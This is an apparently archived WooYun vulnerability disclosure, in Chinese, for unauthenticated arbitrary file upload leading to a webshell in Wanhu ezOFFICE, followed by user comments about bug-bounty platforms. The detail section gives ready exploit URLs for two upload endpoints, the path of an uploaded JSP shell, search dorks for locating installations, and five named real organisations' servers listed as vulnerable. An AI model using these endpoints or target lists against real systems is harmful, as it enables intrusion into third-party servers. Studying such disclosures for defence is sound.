漏洞概要
关注数(24)
关注此漏洞
漏洞标题:万户ezOFFICE无限制任意文件上传可getshell(两处)
相关厂商:万户
提交时间:2014-06-07 13:53
修复时间:2014-09-05 13:54
公开时间:2014-09-05 13:54
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签:
无
漏洞详情
披露状态:
2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-05: 细节向公众公开
简要描述:
万户ezOFFICE无限制任意文件上传可getshell
详细说明:
defaultroot/public/jsp/singleupload.jsp
没有验证权限及文件类型,可上传任意文件
http://hljxwjtheb.vicp.cc:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
上传后路径为:
defaultroot\upload\desktop\2014060713212253164872746.jsp
http://hljxwjtheb.vicp.cc:7001/defaultroothttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/desktop/2014060713212253164872746.jsp?z0=utf-8
当然 这里我们也可以控制上传路径 path=desktop
百度关键词
http://www.baidu.com/s?cl=3&wd=Wanhu+ezOFFICE
http://74.125.227.77/#newwindow=1&q=Wanhu+ezOFFICE&start=20
第二处:
http://hljxwjtheb.vicp.cc:7001/defaultroot/public/jsp/smartUpload.jsp?path=innerMailbox&fileName=innerMailFileName&saveName=innerMailSaveName&tableName=innerMaildisplaytable&fileMaxSize=0&fileMaxNum=0&fileType=&fileMinHeight=0&fileMinWidth=0&fileMaxHeight=0&fileMaxWidth=0
漏洞证明:
实例:
http://oa.akcq.com/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://oa.ctcai.com:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://oa.polyfilm.net:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://myoho.net:7001/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes
http://oa.china-sss.com/defaultroot/public/jsp/singleupload.jsp?path=desktop&visualName=unitImgName&hiddenName=unitImgSaveName&del=yes



修复方案:
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2014-06-11 16:42
厂商回复:
最新状态:
暂无
漏洞评价:
评论
-
2014-06-07 14:06 |
U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)
-
2014-06-07 14:13 |
U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)
漏洞有重复ID:http://loudong.360.cn/vul/info/id/7175
-
2014-06-07 14:20 |
梧桐雨 
( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)
-
2014-06-07 14:22 |
U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)
@梧桐雨 我觉得360和乌云最大的区别是:一个漏洞,你如果发360去,剽窃到提交乌云可以获取奖金,乌云首发,剽窃提交到360,360拒绝付款
-
2014-06-07 14:25 |
梧桐雨 
( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)
-
2014-06-07 14:53 |
xsser 
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2014-06-07 14:54 |
淡漠天空 
( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)
@U神 公司之间模仿的本质区别 以及所谓帽子之间人品 金钱的本质区别我只送三个字 呵呵呵
-
2014-06-07 15:06 |
北京方便面 
( 核心白帽子 | Rank:876 漏洞数:66 | 我爱吃北京方便面)
-
2014-06-07 15:13 |
瘦蛟舞 
( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)
-
2014-06-07 15:14 |
U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)
@xsser 其实本来我想也发乌云,但是呢?看到奖金迟迟都没有打来,所以....
-
2014-06-07 16:28 |
寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)
-
2014-06-07 19:08 |
么么哒 ( 实习白帽子 | Rank:62 漏洞数:9 | 么么哒)
@U神 360这个洞给了你多少让你放弃了我大wooyun
-
2014-06-07 19:34 |
xsser 
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2014-06-07 19:40 |
U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)
-
2014-06-07 20:02 |
xsser 
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@U神 http://www.wooyun.org/prize 这不是个生意
-
2014-06-07 20:56 |
Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)
@U神 @xsser 现在我的角度看,我还是希望发在乌云,让我这种菜鸟涨涨姿态……另外剑心,厂商说漏洞认领不了,都@你好几次了
-
2014-06-07 23:30 |
Finger 
( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)
-
2014-06-07 23:44 |
Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)
-
2014-07-02 10:42 |
wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)